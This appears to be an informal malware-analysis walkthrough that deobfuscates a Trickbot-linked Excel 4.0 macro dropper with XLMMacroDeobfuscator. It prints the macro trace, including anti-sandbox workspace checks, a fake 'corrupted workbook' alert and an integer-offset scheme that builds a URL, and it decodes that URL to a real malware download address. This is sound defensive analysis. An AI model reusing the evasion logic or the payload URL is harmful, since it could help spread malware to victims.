Excel 4.0 Macros Malware Trickbot XLMMacroDeobfuscator Walkthrough

https://app.any.run/tasks/4cce1050-b8c9-4524-bcc7-473894c29557
ac586e930dc9e191172fca28f4adfc68

excel 4.0 macros example

app.any.run says it calls out to
http://185.82.126.178/trafficdll.php

app.any.run says macros4.0

so use this
https://github.com/DissectMalware/XLMMacroDeobfuscator

open command line
navigate to python 3.6 scripts folder
execute this command
pip install XLMMacroDeobfuscator

navigate to python 3.6 scripts folder
executed this command
xlmdeobfuscator --file badfile.xls

errored out with
unexpected token Token(__ANON_0, '()') at line 1, column 11

i noticed version was
v 0.1.4

but latest is
v 0.1.5

so i re-ran pip installers directly against github to get latest
pip install -U https://github.com/DissectMalware/xlrd2/archive/master.zip
pip install -U https://github.com/DissectMalware/pyxlsb2/archive/master.zip
pip install -U https://github.com/DissectMalware/XLMMacroDeobfuscator/archive/master.zip

then re-ran command
xlmdeobfuscator --file badfile.xls

this time it worked! it spit out macro code
http://pastebin.com/raw/87NZV2Es
auto_open: auto_open->'y'!$AI$6706

CELL:AI6706    , FullEvaluation      , $BZ$46254()
CELL:BZ46254   , PartialEvaluation   , APP.MAXIMIZE()
CELL:BZ46255   , FullEvaluation      , IF(GET.WINDOW(7.0),$GX$7042(),)
CELL:BZ46256   , FullEvaluation      , IF(GET.WINDOW(20.0),,$GX$7042())
CELL:BZ46257   , FullEvaluation      , IF(GET.WINDOW(23.0)<3.0,$GX$7042(),)
CELL:BZ46258   , FullEvaluation      , IF(GET.WORKSPACE(31.0),$GX$7042(),)
CELL:BZ46259   , FullEvaluation      , IF(GET.WORKSPACE(13.0)<770.0,$GX$7042(),)
CELL:BZ46260   , FullEvaluation      , IF(GET.WORKSPACE(14.0)<390.0,$GX$7042(),)
CELL:BZ46261   , FullEvaluation      , IF(GET.WORKSPACE(19.0),,$GX$7042())
CELL:BZ46262   , FullEvaluation      , IF(GET.WORKSPACE(42.0),,$GX$7042())
CELL:BZ46263   , FullBranching       , IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1.0))),,$GX$7042())
CELL:BZ46263   , FullEvaluation      , [TRUE]
CELL:BZ46264   , FullEvaluation      , $D$39031()
CELL:D39031    , FullEvaluation      , SET.NAME(vkhbtqnj,)
CELL:D39032    , FullEvaluation      , SET.NAME(hnjvy,$BG$50951)
CELL:D39033    , FullEvaluation      , SET.NAME(niktexbrk,$GV$35265)
CELL:D39034    , FullEvaluation      , IF(NiktExbrK<>"gsHoGrv")
CELL:D39035    , FullEvaluation      , SET.NAME(gtofvkudcpcd,NiktExbrK)
CELL:D39036    , FullEvaluation      , SET.NAME(vkhbtqnj,VKHBTQnJhnjvy())
CELL:D39037    , PartialEvaluation   , SET.NAME("NiktExbrK",ABSREF("R[1]C",NiktExbrK))
CELL:D39038    , FullEvaluation      , $D$39034()
CELL:D39034    , FullEvaluation      , IF(NiktExbrK<>"gsHoGrv")
CELL:D39035    , FullEvaluation      , SET.NAME(gtofvkudcpcd,NiktExbrK)
CELL:D39036    , FullEvaluation      , SET.NAME(vkhbtqnj,VKHBTQnJhnjvy())
CELL:D39037    , PartialEvaluation   , SET.NAME("NiktExbrK",ABSREF("R[1]C",NiktExbrK))
CELL:D39038    , FullEvaluation      , $D$39034()
CELL:D39034    , FullEvaluation      , IF(NiktExbrK<>"gsHoGrv")
CELL:D39035    , FullEvaluation      , SET.NAME(gtofvkudcpcd,NiktExbrK)
CELL:D39036    , FullEvaluation      , SET.NAME(vkhbtqnj,VKHBTQnJhnjvy())
CELL:D39037    , PartialEvaluation   , SET.NAME("NiktExbrK",ABSREF("R[1]C",NiktExbrK))
CELL:D39038    , FullEvaluation      , $D$39034()
CELL:D39034    , FullEvaluation      , IF(NiktExbrK<>"gsHoGrv")
CELL:D39035    , FullEvaluation      , SET.NAME(gtofvkudcpcd,NiktExbrK)
CELL:D39036    , FullEvaluation      , SET.NAME(vkhbtqnj,VKHBTQnJhnjvy())
CELL:D39037    , PartialEvaluation   , SET.NAME("NiktExbrK",ABSREF("R[1]C",NiktExbrK))
CELL:D39038    , FullEvaluation      , $D$39034()
CELL:D39034    , FullEvaluation      , IF(NiktExbrK<>"gsHoGrv")
CELL:D39035    , FullEvaluation      , SET.NAME(gtofvkudcpcd,NiktExbrK)
CELL:D39036    , FullEvaluation      , SET.NAME(vkhbtqnj,VKHBTQnJhnjvy())
CELL:D39037    , PartialEvaluation   , SET.NAME("NiktExbrK",ABSREF("R[1]C",NiktExbrK))
CELL:BZ46263   , FullEvaluation      , [FALSE] $GX$7042()
CELL:GX7042    , PartialEvaluation   , ALERT("This workbook is corrupted, contact the sender for further informations.")
CELL:GX7043    , End                 , CLOSE(FALSE)

here's an excel macro 4.0 reference book that google returned me
https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf

SET.NAME appears to assign a variable/name to a particular cell ... so just like an alias

GET.WINDOW returns data about a window, such as the alert popup box, and parameters passed can tell you data like is it hidden? is it maximized?

GET.WORKSPACE returns data about the excel workspace, such as is this macro being debugged? what is the height/width of space? is there a mouse? can it play sound? windows version?

ABSREF is absoluate reference, so references a row and column and returns the data

Interesting to see the "alert" statement
So the popup the excel doc shows when you open is just "fake", the file is not truly corrupted

I notice multiple calls to 'VKHBTQnJhnjvy()' which is not defined in the output of the python script, wonder what it is?

there are also some cells that are referenced by names/variables but not sure what the data is?
$BG$50951
$GV$35265

i open excel doc, but do not enable content
i see a sheet called 'y' on bottom (which is referenced in auto_open above)
i goto $BG$50951 it contains
RETURN(CHAR(GtOFvKUDCpcD-811)) which is a variable above

i goto $GV$35265 it contains a single integer
but numerous cells below also contain integers
http://pastebin.com/raw/Xq1Bzku9
915
927
927
923
869
858
858
860
867
864
857
867
861
857
860
861
865
857
860
866
867
858
927
925
908
913
913
916
910
911
919
919
857
923
915
923

if i subtract the 811 number in the 1st cell from each of these cells, then convert the integers to ascii, this looks like a url
e.g. 915 - 811 = 104 which is 'h' for the 1st letter

VALUE MINUS 811 TO CHAR
915 104 h
927 116 t
927 116 t
923 112 p
869 58 :
858 47 /
858 47 /
860 49 1
867 56 8
864 53 5
857 46 .
867 56 8
861 50 2
857 46 .
860 49 1
861 50 2
865 54 6
857 46 .
860 49 1
866 55 7
867 56 8
858 47 /
927 116 t
925 114 r
908 97 a
913 102 f
913 102 f
916 105 i
910 99 c
911 100 d
919 108 l
919 108 l
857 46 .
923 112 p
915 104 h
923 112 p

Which ends up being
http://185.82.126.178/trafficdll.php

Which Urlhaus indicates downloaded Trickbot on a certain date
https://urlhaus.abuse.ch/url/406715/